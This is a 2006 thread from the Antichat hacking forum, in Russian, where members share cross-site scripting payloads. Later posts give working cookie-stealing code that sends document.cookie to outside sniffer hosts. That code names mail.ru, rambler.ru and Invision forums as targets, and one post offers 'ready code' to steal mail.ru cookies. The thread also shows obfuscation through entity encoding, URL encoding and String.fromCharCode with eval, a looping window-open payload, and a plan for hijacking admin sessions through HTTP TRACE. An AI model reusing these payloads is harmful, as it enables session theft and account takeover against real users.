ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 27.01.2006, 02:38
Аватар для Humor
Humor
Banned
Регистрация: 26.01.2006
Сообщений: 19
Провел на форуме:
22474

Репутация: 0
По умолчанию

Цитата:
Сообщение от slime  
Статья -- АРХИРУЛЕЗ

Я вот все думал почему
<span style='background:url("javascript:alert()");'>wj</span>
не работает в опере..... а тут оказалось что работает... только вот для того чтобы работало надо чтобы и одинарные и двойные кавычки не фильтровались... грустно это как-то
Мда...СОВСЕМ не факт имхо...

Имхо ну для начало вот так,

Код HTML:
<span style='background:url("javascript:alert()");'>wj</span>
В скобках обязательно нужно писать какие нить данные, ибо это грамматически правильно и тогда тоже будет работать в Фаерфокс. Если же в скобках укажешь пустату, то пустотой у тебя и будет в Фаерфоксе. То есть будет только работать в ИЕ и в Опера, а в Фаерфокс - НЕТ!!!!!!

Хотя это даже не важно и не является фактом ибо в Фаерфоксе ведь все ровно защита от таких выкрутасываний имхо.

А то что кавычки фильтруются, то и это не беда ибо в параметрах (То, что идет после знака равенства) можно кодировать в HTML entities.

Используй эту ссылку для шифровки.

http://ha.ckers.org/xss.html

В самом низу.

Кстати и античату не мешало бы сделать что нить такое а то приходится ссылаться на другие классные проекты. Чем мы хуже имхо спрашивается имхо????"!"!"!"!"

К примеру это,

Код HTML:
<span style=background:url('javascript:alert(/wj/)')>wj</span>
Будет тоже работать и вот так,

Код HTML:
<span style=&#x62;&#x61;&#x63;&#x6B;&#x67;&#x72;&#x6F;&#x75;&#x6E;&#x64;&#x3A;&#x75;&#x72;&#x6C;&#x28;&#x27;&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x77;&#x6A;&#x2F;&#x29;&#x27;&#x29;>wj</span>

Последний раз редактировалось Humor; 27.01.2006 в 02:47..
 

  #22  
Старый 27.01.2006, 23:58
Аватар для slime
slime
Познающий
Регистрация: 08.12.2005
Сообщений: 35
Провел на форуме:
133219

Репутация: -1
По умолчанию

А вот еще вопрос...
а можно ли как-то проводить активный КСС если у жертвы отключены картинки... я так понимаю background-image уже не пойдет... а onmouseover как-то не совсем надежно....
 

  #23  
Старый 28.01.2006, 01:26
Аватар для Humor
Humor
Banned
Регистрация: 26.01.2006
Сообщений: 19
Провел на форуме:
22474

Репутация: 0
По умолчанию

Цитата:
Сообщение от slime  
А вот еще вопрос...
а можно ли как-то проводить активный КСС если у жертвы отключены картинки... я так понимаю background-image уже не пойдет... а onmouseover как-то не совсем надежно....
А хе, очень даже интересная тема, что именно работает в плане картинок или что нить такое если картинки отключены.

Щас буду тестировать. Я знаю, что вот так,

Код HTML:
<iframe src="javascript:alert(/wj/)">wj</iframe>
будет работать вне зависимости если браузер ИЕ, ФФ или Опера или если картинки выключены. Тоже, самый лучший способ это использовать функцию onerror=alert(/wj/) которая тоже работает во всех трех браузерах. А насчет картинок думаю протесчу может новое что нить найду.


В принципе если Джаваскрипт включен а картинки выключены, то это не беда, но мне интересно будет ли работать onerror=alert(/wj/) если картинки отключены. Ведь он будет только работать ПОСЛЕ загрузки картинки и если картинку закачать не удалось, то тогда сработает онеррор....но хотя протесчу посмотрю, что может из этого быть.

Последний раз редактировалось Humor; 28.01.2006 в 01:34..
 

  #24  
Старый 28.01.2006, 01:41
Аватар для Humor
Humor
Banned
Регистрация: 26.01.2006
Сообщений: 19
Провел на форуме:
22474

Репутация: 0
По умолчанию

В принципе, вот только что протестил с отключенными картинками в ИЕ,

вот так

Код HTML:
<img src="javascript:alert(/wj/)">
не работает, а вот так,


Код HTML:
<img src="javascript:alert(/wj/)">
<script>onerror=alert(/wj/)</script>
- Да.

Так что если картинки отключены, то это совсем таки не беда. Это Я типа пример дал. Onerror рулит это мое личное мнение имхо. Надо просто уметь им пользоваться.












EDIT: Но однако опять сделал тест, onerror в этом случае работает не из-за онеррор...

Ибо так,


Код HTML:
<script>onerror=alert(/wj/)</script>
Будет тоже работать само по себе.

Ща будем еще думать.

EDIT: Кстати пока искал, понял почему онеррор работает сам по себе.

Код HTML:
<span style=background:url('javascript:wjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)')>wj</span>
Так тоже будет работать в ИЕ.

То есть оказывается не важно, что идет до параметров!
Они в этом случае становятся наименованиями.



Код HTML:
<script>wjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)</script>

Кстати если ты отключишь картинки, то ты в принципе их не отключишь, а заблокируешь автоматически закружатся вот.

Код HTML:
<img src="javascript:alert(/wj/)">
С отключенными картинками в ИЕ, ты приведешь браузер ИЕ в состояние ФФ! То есть если правой кнопкой мыши нажмешь на "view image" алерт появится! Это состояние является включенным по умолчанию в браузере Фаерфокс.

EDIT:

Кстати еще добавлю, что если написать вот так,

Код HTML:
<img src="http://forum.antichat.ru/antichat/pic/logo.gif" onLoad="alert(/wj/)">
то тоже будет алерт во всех браузерах. То есть если картинка существует.

Если же она НЕ существует,
то думаю, что всем понятно и так, что следует писать вот так,


Код HTML:
<img src="http://forum.antichat.ru/antichat/wj/logo.gif" onError="alert(/wj/)">

Последний раз редактировалось Humor; 28.01.2006 в 02:28..
 

  #25  
Старый 31.01.2006, 23:36
Аватар для President Bush
President Bush
Banned
Регистрация: 31.01.2006
Сообщений: 3
Провел на форуме:
5385

Репутация: 0
По умолчанию

Код HTML:
[quote][color=white][email]wj@wj[url=style=&#x64;&#x69;&#x73;&#x70;&#x6C;&#x61;&#x79;&#x3A;&#x6E;&#x6F;&#x6E;&#x65;&#x3B;&#x62;&#x61;&#x63;&#x6B;&#x67;&#x72;&#x6F;&#x75;&#x6E;&#x64;&#x3A;&#x75;&#x72;&#x6C;&#x28;&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x69;&#x6D;&#x61;&#x67;&#x65;&#x73;&#x5B;&#x31;&#x5D;&#x2E;&#x73;&#x72;&#x63;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x61;&#x6E;&#x74;&#x69;&#x63;&#x68;&#x61;&#x74;&#x2E;&#x6F;&#x72;&#x67;&#x2F;&#x73;&#x2F;&#x61;&#x6E;&#x74;&#x69;&#x63;&#x68;&#x61;&#x74;&#x2E;&#x67;&#x69;&#x66;&#x3F;&#x22;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x3B;][/url].com[/email][/color][/quote]
Код HTML:
[url=http://www.wj.com wj[url=http://www.wj.com style=display:none;background:url('javascript:alert("wj")')  wj]][/url][/url]
Код HTML:
[url=http:// wj[url= style=background:url(javascript:for(;;)open())  wj]][/url][/url]
Код HTML:
[url=http://www.wj.com wj[url=http://www.wj.com style=display:none;background:url('javascript:img=new/**/Image();img.src="http://antichat.org/s/login.gif?"+document.cookie;')  wj]][/url][/url]
Код HTML:
<script>img=new Image();img.src="http://antichat.org/s/login.gif?"+document.cookie;</script>
Вот такие тоже бывают примеры вот.


Это все полезно для новичков чтобы знали как это все выглядит.


Мы старые, должны новичком помогать и их обучать вот.

Последний раз редактировалось President Bush; 31.01.2006 в 23:51..
 

  #26  
Старый 03.03.2006, 20:08
Аватар для Technic
Technic
Banned
Регистрация: 26.02.2006
Сообщений: 5
Провел на форуме:
21186

Репутация: -4
По умолчанию

Код HTML:
<img src=http://www.xss.gif s='"p">'onerror=alert(/wj/) style=visibility:hidden>
Вот так ломается mail.ru, inbox.ru, bk.ru, list.ru, rambler.ru, и другие, а главное, что работает проверенно в Опере, Фаерфокс и ИЕ. (Сейчас четвертое Марта, 2006 год)

А вот так ломается инвизион 2.*

Код HTML:
[img]/[snapback]	onerror=alert(/wj/)	[/snapback].gif[/img]
Где Я поставил табуляции вместо пробелов.

И обратите внимание, что элемент img, не терпит в своем параметре какого либо пробела чтобы сработала функция onerror! Это можно ТОЛЬКО обойти посредством слеша (/) или точкой с запитой. (;)

То есть вот так вот,
Цитата:
<img src="http://www.wj.gif<a href=" onerror=alert('wj') style="display:none;">
Именно из-за пробела в атрибуте src элемента img, в браузере фаерфокс скрипт не сработает! Но за-то вот так вот - сработает.

Код HTML:
<img src="http://www.wj.gif/<a href=" onerror=alert('wj') style="display:none;">
Или,

Код HTML:
<img src="http://www.wj.gif;<a href=" onerror=alert('wj') style="display:none;">
И еще, если этот же код написать в Опере, то работать не будет из-за style="display:none;" но это не беда, ибо можно просто написать вот так вот и все везде будет работать, будучи не видимо для пытливых глаз:

Код HTML:
<img src="http://www.wj.gif;<a href=" onerror=alert('wj') style="visibility:hidden">
Воруем куки...

Код HTML:
<img src=javascript:i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>


И еще, иногда обойти фильтры посредством HTML объектов не удается, (&#x77;) тогда приходится прибегать к урл кодировки о которой Я еще не нашел, чтобы кто нибудь знал.

Код HTML:
<img src="javascript:alert('wj')">
Кодируем в урл кодировку,

Код HTML:
<img src="javascript:%61%6C%65%72%74%28%27%77%6A%27%29">
Честно говорю, что очень мало кто знает об этом способе.... Ну и надо еще знать, что закодировать в урл кодировку можно только после протокола JavaScript и т.д.

Иногда приходится угнать куки при помощи vbscript, а как это делается? vbscript как Я теперь узнал, не поддерживает способы вызывать браузерам картинки так, как это в состоянии делать JavaScript, (По крайней мере Я таких примеров не встречал и не нашел) но это не беда, поскольку мы можем обходить эту дилемму посредством перехождения с одного протокола на другой.

Код HTML:
<img src=vbscript:window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>

И опять таки, иногда провести onerror() можно, а все параметры как нам на зло фильтруются и идет жуткая фильтрация на HTML объекты и на прочею дребедень. Ну тогда можно прибегнуть к нашему любимому String.fromCharCode()

<!-- Это нельзя писать произвольно, то большими буквами, то маленькими, то есть вот так, String.FromCharCode() работать у вас не будет. -->

И так, используем уже готовую ссылку,

http://ferruh.mavituna.com/stringfromcharcode.asp?

И кодируем следующую строку.

Код HTML:
document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
Которая есть ни что иное как код сниффера, который работает к примеру вот так, в таком виде:

Код HTML:
<img src="http://www.badimage.gif" onerror='document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;'>
И получаем следующие:

Char :
Цитата:
document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
Ascii :
Цитата:
100,111,99,117,109,101,110,116,46,105,109,97,103,1 01,115,91,48,93,46,115,114,99,61,34,104,116,116,11 2,58,47,47,97,110,116,105,99,104,97,116,46,114,117 ,47,99,103,105,45,98,105,110,47,115,46,106,112,103 ,63,34,43,100,111,99,117,109,101,110,116,46,99,111 ,111,107,105,101,59
JS Code :
Код HTML:
String.fromCharCode(100,111,99,117,109,101,110,116,46,105,109,97,103,101,115,91,48,93,46,115,114,99,61,34,104,116,116,112,58,47,47,97,110,116,105,99,104,97,116,46,114,117,47,99,103,105,45,98,105,110,47,115,46,106,112,103,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59);
Ну а теперь применяем наш закодированный вариант, в совокупности функцией eval()

Код HTML:
<img src="http://www.badimage.gif" onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,105,109,97,103,101,115,91,48,93,46,115,114,99,61,34,104,116,116,112,58,47,47,97,110,116,105,99,104,97,116,46,114,117,47,99,103,105,45,98,105,110,47,115,46,106,112,103,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));>
Смотрим лог сниффера, http://www.antichat.ru/sniff/log.php

Если кто нибудь хочет узнать как создавать липовые страницы, то вот Я описал этот метод на этой ссылки.

http://video.antichat.net/file181.html


White Jordan.

Администрация несет полную ответственность за ваши взломы.
 

  #27  
Старый 03.03.2006, 20:46
Аватар для Technic
Technic
Banned
Регистрация: 26.02.2006
Сообщений: 5
Провел на форуме:
21186

Репутация: -4
По умолчанию

Код HTML:
<img src=http://www.xss.gif s='"p">'onerror=i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie; style=visibility:hidden>
Просто все хотели готовый код куки воровать на mail.ru так что вот вам. Резвитесь.



P.S.

Чтобы обезопасится от такой атаки, достаточно просто выключить загрузку картинок в своем браузере.

Но однако не совсем ок, ибо логически можно провести атаку метода Tarce, о котором Я как нить тоже напишу статью.

Method Trace

Метод Trace, это такой способ, который позволяет проводить атаку XSS вне зависимости где находится жертва. Как мы все знаем, куки не переходят от одной области в другую, то есть если Я сейчас создам страницу на narod.ru с кодом воровки кук, и тут на античатовском форуме пройдусь по этой ссылки залогинившися при этом в мой аккунт, то мои куки полетят на сниффер от НАРОДА а не от форума античата. С методом трейс однако, это легко обходится. Болие того, если картинки отключены, то тоже реально упереть куки если провести эту атаку, которую можно провести где угодно. Понимайте метод трейс, как метод атаки XSS на WWW в любом месте, в любое время.

Как узнать если этот метод поддерживается?


Очень просто, он всегда включен по умолчанию, но можно и проверить написав код или на Джаваскрипт, или же воспользоваться этой ссылкой.

http://web-sniffer.net/

Можно ли ломануть античатовский форум этим методом? Да! Реально ли? Да! Убийство ли это времени? О да! +)

Как? Да очень просто, совсем не обязательно просить или нудить кого нибудь посетить нашу ссылку которая будет воровать куки Админов а то и сессию админской панели, когда это можно сделать в любом месте и сделать чтобы скрипт срабатывал автоматически и без ведо админа, ну к примеру просто послав Админу или кому угодно на античате на мыло к примеру мейл.ру письмо, или туда где админ или наша жертва обитает будь то уязвимый форум, чат т.д. и вместо кода сниффера для мейл.ру, впаять код сниффера для античатовского форума. Так как ИП теперь у нас привязывается к сессии (Кстати это из-за меня +) ) и кук нам не совсем достаточно, то есть два пути:

1. Или уловить админа и своровать админ-панельские куки, которые можно тут же применить и выполнить с ними собственный скрипт сделав себя админом, или же, узнавать с помощью скрипта мыльники пользователей и их взламывать, что для меня очень легко делать через XSS. Потом можно сделать себе ретрив паролей. +)

Ну логически будет просто метод трейс отключить так? Ведь все что нужно, так это отключить на античате этот метод и усе.....


А ведь можно еще и заставить проксю, то есть прокси сервер которым античатовец пользуется, вернуть нам трейс информацию, то есть - его куки. +)

Короче вот интересная чтива.

http://www.cgisecurity.com/whitehat-...per_screen.pdf
http://www.modsecurity.org/archive/a...rikes_back.txt

Тут очень все ясно и понятно.

Последний раз редактировалось Technic; 03.03.2006 в 23:03..
 

  #28  
Старый 04.03.2006, 10:11
Аватар для ilyha
ilyha
Познающий
Регистрация: 10.11.2005
Сообщений: 75
Провел на форуме:
367531

Репутация: 4
Thumbs up

Вот Джордан передал чтиво:

http://www.r-i-p.info/artview.php?id=182

и еще кое что:

http://www.cyberinfo.ru/16/3181_1.htm

 

  #29  
Старый 04.03.2006, 18:09
Аватар для SanyaX
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415

Репутация: 1398


Отправить сообщение для SanyaX с помощью ICQ
По умолчанию

Молодец wj. А зачем банят не понимаю толку всё равно нету )).
__________________
-=Ok let's Go=-
-=OpenVPN=-
 

  #30  
Старый 04.03.2006, 22:19
Аватар для Tikson
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию

Wj много из чужих взял
я так тоже могу завалюсь на сайт америкосов перевду их мысли и сюда сапостю

Последний раз редактировалось Green_Bear; 04.03.2006 в 23:17..
 
Закрытая тема





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ